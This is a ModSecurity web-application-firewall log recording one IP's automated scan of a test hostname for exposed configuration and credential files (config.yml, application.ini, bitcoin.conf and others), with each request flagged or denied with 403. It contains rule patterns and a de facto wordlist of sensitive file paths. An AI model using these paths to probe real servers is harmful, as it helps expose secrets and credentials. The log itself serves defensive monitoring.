[Sun Mar 01 20:25:59.415547 2026] [:error] [pid 2400765] [client 185.177.72.30:53044] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/config.ini&quot;] [unique_id &quot;aaSSx-WvNlascZsmhrI4ZQAAAAY&quot;]
[Sun Mar 01 20:25:59.509683 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/config/config.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/config.yml found within REQUEST_FILENAME: /app/config/config.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/config.yml&quot;] [unique_id &quot;aaSSx5IifMrob6GYX-HTXQAAAAI&quot;]
[Sun Mar 01 20:25:59.509972 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/config.yml&quot;] [unique_id &quot;aaSSx5IifMrob6GYX-HTXQAAAAI&quot;]
[Sun Mar 01 20:25:59.510154 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/config.yml&quot;] [unique_id &quot;aaSSx5IifMrob6GYX-HTXQAAAAI&quot;]
[Sun Mar 01 20:25:59.532222 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/http.conf&quot;] [unique_id &quot;aaSSx5IifMrob6GYX-HTXgAAAAI&quot;]
[Sun Mar 01 20:25:59.532731 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/http.conf&quot;] [unique_id &quot;aaSSx5IifMrob6GYX-HTXgAAAAI&quot;]
[Sun Mar 01 20:25:59.532886 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/http.conf&quot;] [unique_id &quot;aaSSx5IifMrob6GYX-HTXgAAAAI&quot;]
[Sun Mar 01 20:25:59.578154 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aaSSx5IifMrob6GYX-HTYAAAAAI&quot;]
[Sun Mar 01 20:25:59.578415 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aaSSx5IifMrob6GYX-HTYAAAAAI&quot;]
[Sun Mar 01 20:25:59.578576 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aaSSx5IifMrob6GYX-HTYAAAAAI&quot;]
[Sun Mar 01 20:25:59.761833 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/configs/application.ini&quot;] [unique_id &quot;aaSSx5IifMrob6GYX-HTaAAAAAI&quot;]
[Sun Mar 01 20:25:59.762325 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/configs/application.ini&quot;] [unique_id &quot;aaSSx5IifMrob6GYX-HTaAAAAAI&quot;]
[Sun Mar 01 20:25:59.762492 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/configs/application.ini&quot;] [unique_id &quot;aaSSx5IifMrob6GYX-HTaAAAAAI&quot;]
[Sun Mar 01 20:25:59.784554 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/applicationHost.config&quot;] [unique_id &quot;aaSSx5IifMrob6GYX-HTaQAAAAI&quot;]
[Sun Mar 01 20:25:59.785101 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/applicationHost.config&quot;] [unique_id &quot;aaSSx5IifMrob6GYX-HTaQAAAAI&quot;]
[Sun Mar 01 20:25:59.785267 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/applicationHost.config&quot;] [unique_id &quot;aaSSx5IifMrob6GYX-HTaQAAAAI&quot;]
[Sun Mar 01 20:25:59.945631 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/archiver/mail_archive.conf&quot;] [unique_id &quot;aaSSx5IifMrob6GYX-HTcAAAAAI&quot;]
[Sun Mar 01 20:25:59.946166 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/archiver/mail_archive.conf&quot;] [unique_id &quot;aaSSx5IifMrob6GYX-HTcAAAAAI&quot;]
[Sun Mar 01 20:25:59.946386 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/archiver/mail_archive.conf&quot;] [unique_id &quot;aaSSx5IifMrob6GYX-HTcAAAAAI&quot;]
[Sun Mar 01 20:26:00.568825 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/autocharge/settings.ini&quot;] [unique_id &quot;aaSSyJIifMrob6GYX-HTiwAAAAI&quot;]
[Sun Mar 01 20:26:00.569315 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/autocharge/settings.ini&quot;] [unique_id &quot;aaSSyJIifMrob6GYX-HTiwAAAAI&quot;]
[Sun Mar 01 20:26:00.569470 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/autocharge/settings.ini&quot;] [unique_id &quot;aaSSyJIifMrob6GYX-HTiwAAAAI&quot;]
[Sun Mar 01 20:26:00.637456 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/auto-update/settings.conf&quot;] [unique_id &quot;aaSSyJIifMrob6GYX-HTjgAAAAI&quot;]
[Sun Mar 01 20:26:00.638002 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/auto-update/settings.conf&quot;] [unique_id &quot;aaSSyJIifMrob6GYX-HTjgAAAAI&quot;]
[Sun Mar 01 20:26:00.638193 2026] [:error] [pid 2400023] [client 185.177.72.30:34996] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/auto-update/settings.conf&quot;] [unique_id &quot;aaSSyJIifMrob6GYX-HTjgAAAAI&quot;]
[Sun Mar 01 20:26:01.494756 2026] [:error] [pid 2400022] [client 185.177.72.30:35060] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/base-station/env.ini&quot;] [unique_id &quot;aaSSyY03pg4df9PPalFn4QAAAAE&quot;]
[Sun Mar 01 20:26:01.495275 2026] [:error] [pid 2400022] [client 185.177.72.30:35060] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/base-station/env.ini&quot;] [unique_id &quot;aaSSyY03pg4df9PPalFn4QAAAAE&quot;]
[Sun Mar 01 20:26:01.495433 2026] [:error] [pid 2400022] [client 185.177.72.30:35060] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/base-station/env.ini&quot;] [unique_id &quot;aaSSyY03pg4df9PPalFn4QAAAAE&quot;]
[Sun Mar 01 20:26:01.935528 2026] [:error] [pid 2400022] [client 185.177.72.30:35060] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitcoin/bitcoin.conf&quot;] [unique_id 